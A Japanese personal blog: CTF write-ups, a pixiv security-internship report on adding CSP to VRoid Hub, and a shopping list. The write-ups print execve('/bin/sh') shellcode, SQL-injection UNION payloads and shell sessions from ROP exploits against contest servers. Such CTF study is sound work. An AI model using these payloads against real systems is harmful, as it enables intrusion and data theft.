yyy

CTFつよくなりたい

Beginners CTF 2019 Writeup

Seccompare

コマンドライン引数で文字列を渡して,それが正解かどうかstrcmpで比較してる.よって,ltraceを使えば比較対象であるフラグが求まる.

$ ltrace ./seccompare hoge
strcmp("ctf4b{5tr1ngs_1s_n0t_en0ugh}", "hoge")                                                                              = -5
puts("wrong"wrong
)                                                                                                               = 6
+++ exited (status 0) +++

Leakage

is_correct関数で入力値を1文字ずつチェックしていて,比較対象はenc_flagを1文字取ってきてconvertに入れたもの.また,入力値は34文字でないといけない.convertの中身を読みたくなかったので,convertの直後にブレークポイントを貼って,戻り値が格納されるraxを1文字ずつ観察した.(頭悪い解法っぽい)

ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear_Operation

is_correct関数で入力値をチェックしている.処理がなかなかに複雑だったのでangrで解いた.

gist.github.com

$ python solve.py
WARNING | 2019-05-26 00:24:53,683 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups.
WARNING | 2019-05-26 00:24:54,344 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead.
Deprecation warning: Use eval_upto(expr, n, cast_to=str) instead of any_n_str
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

shellcoder

binshという文字列を使ってはいけないシェルコードコーディング問題.

        0x00080000:     movabs  rbx, 0x38237f7f3e39327f
        0x0008000A:     movabs  rax, 0x5050505050505050
        0x00080014:     xor     rbx, rax
        0x00080017:     xor     esi, esi
        0x00080019:     push    rsi
        0x0008001A:     push    rbx
        0x0008001B:     push    rsp
        0x0008001C:     pop     rdi
        0x0008001D:     xor     rax, rax
        0x00080020:     mov     al, 0x3b
        0x00080022:     xor     edx, edx
        0x00080024:     syscall syscall

こんな感じでxorでなんとかした.

gist.github.com

$ python exploit.py
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/yyy/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.5.0 --> 3.12.2).
    Update with: $ pip install -U pwntools
[+] Opening connection to 153.120.129.186 on port 20000: Done
[*] Switching to interactive mode
Are you shellcoder?
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
$ exit

OneLine

一度0x28分readしてその後 call rax するんだけど,raxはwriteの関数ポインタになっていて,それはreadで読み込む領域に存在しているので上書きが可能.

これと同じ処理が2回走るので,1度目は適当に短い文字列を入れてwriteの関数ポインタを上書きしないようにして,1度目の call rax でwriteの関数ポインタをリークしてlibcのベースアドレスを求める.そして2回目のreadで関数ポインタをone-gadget RCEに書き換えた.one-gadget RCEを探すツールでlibc内を検索したら3つあったんだけど,1つ目では条件が合わずにうまく起動できなかった.

gist.github.com

$ python exploit.py
[+] Opening connection to 153.120.129.186 on port 10000: Done
[*] '/home/yyy/ctf/all/Beginners_CTF_2019/pwn/OneLine/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
You can input text here!
>>
0x7fe15586a140
0x7fe15575a000
\x00\x00Once more again!
>>
[*] Switching to interactive mode
$ ls
flag.txt
oneline
$ cat flag.txt
ctf4b{0v3rwr!t3_Func7!on_p0int3r}
$ exit

Dump

与えられたpcap内にフラグを8進数表示したものがあったので,取り出してまずはスペース区切りに整形した.

gist.github.com

その後こんな感じのスクリプトを書いて,ファイルに変換した.gzipで圧縮されたものだったので, gunzip -c flag > hoge とかした後に出てきたものが今度はtarでアーカイブされたものだったので, tar xvf hoge をするとフラグが書かれたflag.jpgが取り出せた.

f:id:ywkw1717:20190526211955j:plain

Ramen

SQLiがある. 'or 1=1;# で全件表示できたので, 1' UNION SELECT table_name, null FROM INFORMATION_SCHEMA.COLUMNS; # をしたらflagというテーブルがあるのがわかった.あとは 1' UNION SELECT *, null from flag;# でフラグをみた.

f:id:ywkw1717:20190526212315p:plain

Harekaze CTF 2019 Baby ROP, Baby ROP 2, scramble

Baby ROP

バッファオーバーフローがあり,バイナリ内にsystemも用意されていたのでROPでsystemに飛ばすだけ. /bin/sh もバイナリ内にあったのでそれを使った.

gist.github.com

$ python exploit.py
[+] Opening connection to problem.harekaze.com on port 20001: Done
[*] Switching to interactive mode
What's your name? $ ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ ls /home
babyrop
$ ls /home/babyrop
babyrop
flag
$ cat /home/babyrop/flag
HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}
$ exit

Baby ROP 2

同じくバッファオーバーフローがあるが,バイナリ内にsystemが存在しないのでlibcのアドレスをleakしてからlibc内のone-gadget RCEに飛ばした.

gist.github.com

$ python exploit.py
[+] Opening connection to problem.harekaze.com on port 20005: Done
[*] '/home/yyy/ctf/all/HarekazeCTF2019/pwn/babyrop2/babyrop2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/yyy/ctf/all/HarekazeCTF2019/pwn/babyrop2/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
What's your name?
 Welcome to the Pwn World again,
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAI!

0x7f1d378f7250
0x7f1d37800000
What's your name?
[*] Switching to interactive mode
 Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAA9!
$ cat /home/babyrop2/flag
HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}
$ exit

scramble

入力を受け取ってscrambleという関数に渡してから,その結果を元にxorとかして正解かどうか判定するcrackme系の問題.

Ghidraでデコンパイルしてみたけどscrambleの処理があまり読みたくないものだったし,解かれてるスピードが異常に速かったのでangrとかでいけるだろうと思ってangrで解いた.

最初は "Harekaze{" で始まるだろうなぁとか推測して少し複雑にスクリプトを書いていたけど全く求まらなくて,以下のように単純なスクリプトにしたらすぐ出た.

gist.github.com

$ python solve.py
WARNING | 2019-05-19 12:11:42,304 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups.
WARNING | 2019-05-19 12:11:42,469 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2019-05-19 12:11:42,489 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead.
Dump stdin at succeeded():
'HarekazeCTF{3nj0y_h4r3k4z3_c7f_2019!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

DEF CON CTF Qualifier 2019 speedrun-001~003

speedrun-001

$ ./speedrun-001
Hello brave new challenger
Any last words?
hoge
This will be the last thing that you say: hoge

Alas, you had no luck today.

バッファオーバーフローがあるので,ROPで execve("/bin/sh", NULL, NULL) を呼ぶようにした.

gist.github.com

$ python exploit.py
[+] Opening connection to speedrun-001.quals2019.oooverflow.io on port 31337: Done
Hello brave new challenger
Any last words?

[*] Switching to interactive mode
This will be the last thing that you say: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x06@
$ ls
-
banner_fail
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
service.conf
speedrun-001
srv
sys
tmp
usr
var
wrapper
$ cat /flag
OOO{Ask any pwner. Any real pwner. It don't matter if you pwn by an inch or a m1L3. pwning's pwning.}
[*] Got EOF while reading in interactive

speedrun-002

$ ./speedrun-002
We meet again on these pwning streets.
What say you now?
hoge
What a ho-hum thing to say.
Fare thee well.

これも同様バッファオーバーフローがあり,ROPからret2libcでsystemを呼ぼうとしたがローカルではうまくいくのにリモートではうまくいかない問題が起きてて,どうやらリモートではsystem関数が使えないように制限されてたっぽいので,001同様直接システムコールを使うようにしたらシェルが取れた.

gist.github.com

$ python exploit.py
[+] Opening connection to speedrun-002.quals2019.oooverflow.io on port 31337: Done
[*] '/home/yyy/ctf/all/DEF_CON_2019/speedrun-002/speedrun-002'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/yyy/ctf/all/DEF_CON_2019/speedrun-002/libc/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
We meet again on these pwning streets.
What say you now?

What an interesting thing to say.
Tell me more.

Fascinating.

leak_addr: 0x7f4b03669140
libc_base: 0x7f4b03559000
system_addr: 0x7f4b035a8440

We meet again on these pwning streets.
What say you now?

What an interesting thing to say.
Tell me more.

Fascinating.

[*] Switching to interactive mode
$ cat /flag
OOO{I_didn't know p1zzA places__mAde pwners.}
$ exit
[*] Got EOF while reading in interactive

speedrun-003

$ ./speedrun-003
Think you can drift?
Send me your drift
hoge
You're not ready.

シェルコード問題.30バイトのシェルコードを入力する必要があり,前半部分それぞれをxorした値と後半部分それぞれをxorした値が等しくないといけない.

48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f6e69622f
73 68 00
31 f6                   xor    esi,esi
56                      push   rsi
53                      push   rbx
54                      push   rsp
5f                      pop    rdi
b0 3b                   mov    al,0x3b
31 d2                   xor    edx,edx
0f 05                   syscall

シェルコードはこのようなものを使用したが,これは22バイトなのでいい感じに調整した.具体的には,前半部分を push rsp までにして,残りの部分は xor edx, edx を4つに増やすことでバイト数をかさ増ししたり,同じxor値になるように mov al, 0x3b を2つに増やし,前半の 0x3b の部分を変化させながら,最終的に mov al, 0x5a にした.

gist.github.com

$ python exploit.py
[+] Opening connection to speedrun-003.quals2019.oooverflow.io on port 31337: Done
[*] Switching to interactive mode
Think you can drift?
Send me your drift
$ cat /flag
OOO{Fifty percent of something is better than a hundred percent of nothing. (except when it comes to pwning)}
$ exit
[*] Got EOF while reading in interactive

ASIS CTF Quals 2019 Key maker

問題文

The Keymaker: Only the One can open the door. And only during that window can that door be opened.

Niobe: How do you know all this?

The Keymaker: I know because I must know. It is my purpose. It is the reason I am here. The same reason we are all here.

PEファイルを解析する問題.ポイントは最終的に93で,solve数は51だった.

$ file key_maker.exe
key_maker.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
$ key_maker.exe
KeyMaker is old, you are the one to help Neo!!
Please enter licence key: hoge
Sorry, given licence is invalid!

crackmeだとわかる.適切なライセンスキーを入力する必要がある.

入力値を扱っている箇所の逆アセンブル結果が少々複雑なため,最近話題のGhidraを初めて使ってデコンパイルしてみたが,かなりよかった.以下はmain関数のデコンパイル結果.

f:id:ywkw1717:20190422145756p:plain
main

50文字の入力をFUN_00401637に渡していて,この関数が入力値を検証するものだとわかる.

f:id:ywkw1717:20190422183829p:plain
FUN_00401637

FUN_00401637では,最初のif文で入力値の17文字目と34文字目が _ になっているか,5文字目と最後の文字を掛け合わせた結果が0x3c0fになっているか(これはつまり,5文字目が { で,最後の文字が } かどうか)を確認している.この時点で正規のライセンスキーが,ASIS{........} みたいなフラグの形式になっていそうだとわかる.

その後,3つのWhileループで _ を除いた文字を3分割,つまり16文字ずつ,36進数( strtol(&local_38,(char **)0x0,0x24) )で配列に代入している.

f:id:ywkw1717:20190422145846p:plain
FUN_00401637

その後,3つの配列の全ての組み合わせ,6通りをFUN_00401530の第1引数と第2引数に渡し,第3引数に渡した配列にFUN_00401530での演算結果を代入するような仕組みになっている.

f:id:ywkw1717:20190422145828p:plain
FUN_00401530

肝心のこの関数では,param1とparam2やカウンタ変数などを使って加算処理を行って,結果をparam3に代入している.この結果,param3に渡された配列には16個の要素が入ることになる.

f:id:ywkw1717:20190422145846p:plain
FUN_00401637

FUN_00401637をもう一度見てみると,作成した6つの配列をそれぞれとある要素(*(int *)(&DAT_00404040 + ((longlong)local_20 + (longlong)local_1c * 4) * 4)みたいなの)と比較している.これは,以下の部分にそれぞれ4バイトで計64個格納されている値のこと.

f:id:ywkw1717:20190422145930p:plain
比較されるやつ

以上の解析結果から,z3を使用して解く方針で進める.

完成したスクリプトは以下.

gist.github.com

実行結果.

$ python key_maker.py
[u_15 = 0,
 u_14 = 3,
 u_13 = 14,
 u_12 = 21,
 u_11 = 12,
 u_10 = 4,
 u_9 = 27,
 u_8 = 24,
 u_7 = 27,
 u_6 = 3,
 u_5 = 20,
 u_4 = 4,
 u_3 = 22,
 u_2 = 34,
 u_1 = 3,
 u_0 = 20,
 t_15 = 0,
 t_14 = 24,
 t_13 = 0,
 t_12 = 24,
 t_11 = 14,
 t_10 = 23,
 t_9 = 13,
 t_8 = 23,
 t_7 = 10,
 t_6 = 34,
 t_5 = 7,
 t_4 = 18,
 t_3 = 23,
 t_2 = 1,
 t_1 = 27,
 t_0 = 29,
 s_15 = 33,
 s_14 = 33,
 s_13 = 33,
 s_12 = 1,
 s_11 = 27,
 s_10 = 7,
 s_9 = 4,
 s_8 = 22,
 s_7 = 3,
 s_6 = 17,
 s_5 = 7,
 s_4 = 0,
 s_3 = 28,
 s_2 = 18,
 s_1 = 28,
 s_0 = 10]

flag: ASIS{7H3M47R1XXX_TR1NI7YANDNEO0O0_K3YM4K3ROR4CLE3}

この問題のCategory, Reverse Baby warm-up となっていてびびる.

pixiv SPRING BOOTCAMP 2019のセキュリティコースに参加して最高の体験をしてきた

はじめに

念願のpixivインターンに行ってきました.

pixivは高校生の時ぐらいから知っていて,実際に絵を投稿したのは大学に入ってからですが,お絵描きを趣味とする自分にとってはとても身近な存在でした.インターンシップに参加している学生の様子をSNSで見ているととても楽しそうで,いつか自分も参加してみたいと思うようになりました.

また,バグバウンティを行っているということも魅力的でした.日本でバグバウンティをやっている企業はまだまだ少ないですし,絵を投稿する場として利用しているサービスが,実はセキュリティにも力を入れていることを知った時はpixivに対してより一層興味を抱きました.

実は,去年の夏インターンシップでも応募をしていました.その時はセキュリティコースはなく,Railsを多少やっていた自分はRailsで作られているBOOTHのコースで応募したのですが,書類選考後の面談でお祈りをいただいてしまい,半ば諦めていました.ですが今回春インターンがあるということで最後のチャンスだと思い,今回は自分が将来仕事にしたいと思っているセキュリティのコースで応募しました.

参加するまで

面談ではコードテストがあるというのはメールで聞いていて,夏に受けた時はなんの問題もなく書けたので今回もいけるだろうと思っていたら,コードテストの前にWebセキュリティに関する知識を問われて少しドキッとしました.

コードテストは頭が真っ白になりかけたりしたのですが,面接官の方達が優しかったのでなんとかなりました.その後,合格通知が来た時は思わずにやけそうになりました.セキュリティコースは今回初めて作られたものらしく,第1号ということでさらに嬉しくなりました.

業務開始まで

前日になかなか寝付けなかったのですがなんとか起きれて,無事オフィスへ到着しました.エレベーターを降りたら早速絵馬があって興奮していたのですが,オフィスへ到着するもセキュリティカードがないため入れず,うろうろと不審者化していました.

f:id:ywkw1717:20190314154023j:plain
絵馬1

f:id:ywkw1717:20190314154046j:plain
絵馬2

f:id:ywkw1717:20190314154143j:plain
絵馬3

その後,他のインターン生の方とお互いに軽く自己紹介をしてからNDAを結んだり人事のkamikoさんのお話を聞いたり,軽くオフィスを見学してから毎週水曜日に開催されている全社会議に参加させていただきました.ここでは各プロジェクトからの報告があった後,27日から参加の4人のインターン生は自己紹介をしました.全社員の前での自己紹介,緊張しかない.

セキュリティカードと一緒に名札も貰いました.

f:id:ywkw1717:20190314161027j:plain
なまえ

全社会議の後は全社ランチということで,自分のテーブルでは7人くらいでご飯を食べました.隣にいたhakatashiさんはルービックキューブをやっているということでものすごく親近感が湧きました.特に僕のメンターのkoboさんとhakatashiさんとはCTFのお話ができて良さみがありました.

f:id:ywkw1717:20190314161151j:plain
様子

2/27~3/1

CSPの導入①

この期間で主にやったことはVRoid HubへのContent Security Policy(CSP)の導入です.

hub.vroid.com

CSPとはXSSやその他いくつかの攻撃を防ぐためのセキュリティレイヤーであり,これを使用することで悪意のあるコードの実行を防ぐことができます.CSP Level2 まではドメインの指定によるホワイトリスト方式が推奨されてきましたが,それがバイパス可能だということがわかってきました.そのため現在のLevel 3では nonce+strict-dynamic が推奨されていて,nonceが付与されたscriptタグしか許可しないようにします.また,strict-dynamicを付けることで nonce が付与されたscriptタグ内で動的に生成されたscriptタグも正常に動作するようになるので,アプリケーション本来の動作に影響を及ぼさずにCSPを導入することが可能になります.その他,主に付けるべきディレクティブは script-srcobject-srcbase-uri です.

ここら辺のお話はメンターのkoboさんが書いた以下の記事がとても詳しいです.

inside.pixiv.blog

CSPの導入は次のように進めていきました.

  1. 試しに default-src: 'self' みたいなものだけ設定してCSPの違反がブラウザのコンソールに出ることを確認
  2. script-src object-src base-uri の3つのディレクティブを設定
  3. nonceをscriptタグに設定していく
  4. CSPの違反やnonceの付与漏れなどないことを確認したら,ブラウザごとに出し分けを行う
  5. CSPをReport Onlyモードで動かす
  6. report uriに設定したURLにてCSPの違反レポートを確認して,修正できるものは修正
  7. Report Onlyを外す

バグバウンティ関連①

その他にやっていたこととして,HackerOneに届いているレポートを過去のものも含め全て読んでいいということだったので,空き時間はひたすらレポートを読み漁っていました.なかなか世界中のハッカーが送ってくるレポートを読める機会などないと思いますし,こういう視点でバグを見つけて攻撃をするんだなというハッカーの視点のようなものを養うことができて非常に参考になりました.

エンジニア勉強会

毎週金曜日は勉強会が開かれているので参加しました. 今回はTECH SALONでLTをやる人たちのリハーサルの場でした.縦書きというユニークな話から,Kotlinの話,レイヤーの自由変形の話,CSP+SameSite cookieの話,HEIFの話まで,ジャンルも幅広く様々なお話を聞けました.僕は特にセキュリティな話が好きなのでメンターのkoboさんが話していたCSPとSameSite cookieの話を特に興味津々で聞いてました.SameSite cookieは知りませんでした.CSRF対策ということで,これから普及が進みそうな技術です.

3/4~3/6

CSPの導入②

金曜日にデプロイしない文化があるとメンターさんから教えてもらったので,3月4日の月曜日にいよいよContent Security Policy Report Onlyを有効化するPRをマージして,本番環境にデプロイしました(本番環境にデプロイするボタンをメンターのkoboさんに「このボタンを君に押して貰いたいんだ...!」と言われてクリックさせてもらえたのが印象的です).実際に動いているサービスへのコントリビュート,最高の体験です.

f:id:ywkw1717:20190307000237p:plain
Content Security Policy Report Onlyが付いている様子

unsafe-evalも外せると完璧らしいのですが外してみるとうまくいかない部分があり,結局付けたままにしました.本番環境でContent Security Policy Report Onlyがついていることを確認したらCSPの違反レポートが来るまで1日程度様子を見ました.翌日に違反レポートが来ていることは確認できたのですが,report-uri.comだとブラウザのバージョンが見れず,どのブラウザで違反が起きているのかわかりづらいということでreportUriをSentryに変更しました.

ですがその後,Sentryではあまりログが取れていないということがわかり,reportUriは2つ指定することも可能だったのでreport-uri.comとSentryの2つのURLを指定しました.また,Worker関連のCSP違反レポートが出ていることもわかったので,これに対応するために新たにworkerSrcディレクティブを追加しました.

バグバウンティ関連②

実際のバグバウンティの対応もやらせていただきました.届いていた報告をトリアージしてから報奨金の支払いまでをメンターさんに教えてもらいながらやりました.それまではレポートを読んでいただけだったのですが,未対応の脆弱性の対応のために検証を行ったり,GitHubにissueを立てて概要や影響について書いたりして,ここでも最高の体験をすることができました.

また,画像関係の脆弱性についても検証・調査を進めていました.

pixiv Bug Fix

pixivにあったバグ修正もしました.これはバグバウンティのほうで報告が来ていたもので,プレミア会員でしかできないはずのことが一般会員でも細工するとできてしまうことがあり,その修正をするためにtadsanに教わりながら開発環境を作りました.(PhpStorm初めて使った)

翌日,メンターのkoboさんに相談しながらPRを出し,それはその日中にマージされて本番環境にデプロイされました.pixiv本体へのコントリビュート,最高の体験すぎる.(「これで君は VRoid Hub と pixiv ,2つのコントリビューターだ」とkoboさんから言われた時は嬉しすぎて言葉が「なるほど...」しか出てこなかった🤔)

pixiv TECH SALON

また,3月5日の火曜日はpixiv TECH SALONに参加しました!

techsalon.pixiv.co.jp

pixivが初めて開催するテックカンファレンスで,完全招待制のイベントなのですが,インターン生は全員参加できるということで参加してきました.入場すると謎のサイリウム入りのトートバッグが渡されました.

pixiv BLUE,カルピスとなにかを混ぜたやつ(忘れてしまった)

f:id:ywkw1717:20190314154244j:plain
pixiv BLUE

f:id:ywkw1717:20190314154307j:plain
pixiv BLUE

メインセッションが始まるまでは両端でLTが開かれていました.僕はAのほうを聞いてからBのほうに行き,全てのLTを聞きました.LTの途中からボイチェンで声を変えて発表する『明日から女の子になるための「声」のお話』はだいぶ印象に残りました笑

メインセッションが始まってからは参加者は皆さん着席して聞いていました.どのお話も業務で直面した課題をどのように解決したかを話していたり,pixivの社風が存分に伝わってくるセッションで,聞いていてワクワクしました.

個人的に特に面白いなと思ったセッションは「大多数のメンバーがコードを書けるチームにおけるエンジニアの役割」です.pixivのBOOTHチームについてお話されていて,そもそもBOOTHチームはエンジニア以外にもコードを書ける人が多くて,エンジニア以外にPRを出してマージされたことがある人がいたり,issueを立てたことがある人はエンジニア以外を含めて全員だったり,特徴的なチームでした.

このセッションで伝えたいこととして2点挙げられていました.まず1点目は,BOOTHで商品が入荷するまでの間,ステータスが中々次のものに切り替わらないのでどうにかしたいという課題があったということで,非エンジニアの方からは新たにステータスを追加してはどうかという提案があったそうです.しかしエンジニアからすればステータスを新たに加えるということはコードの大きな変更を意味し,できれば行いたくないということで,もう少しヒアリングしてみると問題の本質はステータスを新たに加えなければいけないということではなくて,ステータスが切り替わらない間のお問い合わせ先に問題があるのでそこを変更すればよいという結論に至ったそうです.このように提案されたものを鵜呑みにするのではなく,問題の本質を見抜きそれを解決するところがエンジニアの腕の見せ所とおっしゃっていて,まさにその通りだなと納得しました.

もう1点は「小さく出す」ということで,PRなどを出す際に「ついでに」これもやっておきましたみたいなことを辞めようということです.なぜかというと,「ついでに」実装したものが実は正しく動いてなくて検証が必要だったりして,本来出すはずだった修正や機能追加が「ついでに」追加したものに足を引っ張られることでできなくなってしまうことがあるからです.そのために「小さく出す」ことで,よりスピーディーに開発が進むということでした.

メインセッションが終わった後はいよいよサイリウムを折ってから盛大な掛け声と共に懇親会がスタートして,みんなでわいわいしていました.(大学の元先輩3人と遭遇するという奇跡が起きてびっくりしました)

f:id:ywkw1717:20190314154435j:plain
様子

f:id:ywkw1717:20190314154416j:plain
サイリウム

f:id:ywkw1717:20190314155630j:plain
いろいろもらった

3/7~3/8

CSPの導入③

CSPのReport Onlyを外すPRを作成していました.いよいよReport Onlyを外すということで少し緊張していましたが,無事VRoid HubにCSPを導入することができました.

f:id:ywkw1717:20190314161814p:plain
Content Security Policyが付いている様子

バグバウンティ関連③

引き続き,画像関係の脆弱性について調査していました.Linuxのcgroupを使用した対策についての調査をローカル環境で試していて,正しく制御できていることを確認したのでissueに調査結果をまとめていたりしました.

成果発表

最終日では,インターン中の成果を発表しました.メンターのkoboさんに添削してもらいながら,ギリギリまでスライドを作っていました.僕の発表は2番目だったのですが,初手のインターン生のりゅう君が声は大きいし発表は面白いし盛り上がるしで,そんな素晴らしい発表の後に控えていた僕は「オワタ」という気持ちで見ていました.

僕の発表では初っ端から,もっと大きな声で喋ってと言われてしまい,普段から声が小さい自分にとってはなかなかに厳しい状況だったのですが,kameikeさんがすぐにマイクを用意してくれて惚れそうになりました.緊張しながらも発表を終えると,メンターのkoboさんが総評でいいことばかりおっしゃってくれて,嬉しすぎてついつい笑みがこぼれました.

f:id:ywkw1717:20190314161224j:plain
様子

発表の後は記念撮影をして打ち上げ会場に移動し,鍋をつつきながら楽しく談笑していました.その後会社に戻ってからは,お土産としてpixivのステッカーやグッズなどを頂いてから帰りました.

f:id:ywkw1717:20190314155710j:plain
お土産

その他の思い出

懇親会でルービックキューブについて話した

hakatashiさんの他に機械学習コースのメンターさんのfusshi-さんもルービックキューブの達人で,お話していてとても楽しかったです.

バイナリかるた貰った

koboさんから頂きました!!!!

f:id:ywkw1717:20190314154341j:plain
バイナリかるた

お絵かきブートキャンプ

こちらは3月6日の水曜日にありました.水曜日のランチでご一緒させていただいた社員さんにお誘い頂いたので喜んで参加しました.絵を描く人全てが偉いという考えで,批判はなくひたすら褒めてもらうような素晴らしい世界でした.自分は絵を描くのが半年~1年に1枚という具合なので,このような集まりがあるといい感じにモチベーションを保ててよさそうだなと思いました.

円盤鑑賞会的なやつ

3月7日の木曜日にAqoursのライブDVDを鑑賞したのですが,優勝しました.

f:id:ywkw1717:20190314155553j:plain
円盤鑑賞会

僕はラブライブは観ていたのですが,ラブライブサンシャインは観ていなかったので大丈夫かなぁと思っていたのですが,いざ始まってみると激熱でした.

ご飯情報

お昼はほぼ毎回メンターのkoboさんがいろいろな社員さんを誘ってくれて,ご飯に行っていました.

f:id:ywkw1717:20190314154521j:plain
28日ご飯 土古里

f:id:ywkw1717:20190314154539j:plain
1日ご飯 camp

f:id:ywkw1717:20190314154607j:plain
4日ご飯 串亭

f:id:ywkw1717:20190314154623j:plain
5日ご飯 キッチンカー

f:id:ywkw1717:20190314154652j:plain
7日ご飯 enjoy

f:id:ywkw1717:20190314154716j:plain
8日ご飯 みろく庵

最後に

去年の夏に2社,別のインターンに行きましたが,僕の目指している職業上どうしても堅いところが多く,このようなアットホームな会社のインターンシップは初めてでした.まず社員さんとの距離が近く,「インターン生」という別のくくりとして扱うのではなく一社員のように扱っていただいて,本当にpixivで働いているような,そんなインターンシップでした.

他にも社員の趣味を最大限に応援する会社で,個性溢れる社員さんばかりでしたし,参加する前から思っていた通りの本当に素敵な会社だなと身に沁み,「創作活動がもっと楽しくなる場所を創る」という理念が伝わってきました.

最後になりますが,メンターのkoboさん,VRoidチームの皆様,インターンシップに携わってくださった社員の皆様,そしてpixivの皆様,最高の体験をありがとうございました!

2018年 買ってよかったもの

これも今年からまとめておこうと思う.

青汁

ヤクルト 青汁のめぐり 225g(7.5g×30袋)

ヤクルト 青汁のめぐり 225g(7.5g×30袋)

飲んでいてあまり実感がないんだけど,栄養の偏りが酷い時には欠かせない.健康第一で最近はほぼ毎日飲むようにしてる.

君の膵臓をたべたい

普段から小説を読むほうではないんだけど,これをきっかけにハマることになる.本を読んで泣いたのは初めてで,マジで良すぎるので気になる人は読んでみて欲しい.今は「青くて痛くて脆い」っていう小説を読んでる.

配色アイデア手帖

ちょっとした色の組み合わせに迷ったときに参考になる本.ちょくちょく使うことが多かったと思う.

栞セット

Amazon CAPTCHA

手元に本が増えてきたりしていて栞に困っていて買った.おかげで栞に困ることが無くなった.

尾崎由香1st写真集

尾崎由香1st写真集 ぴ(ゅ)あ

尾崎由香1st写真集 ぴ(ゅ)あ

良いです.

Bluetoothイヤホン

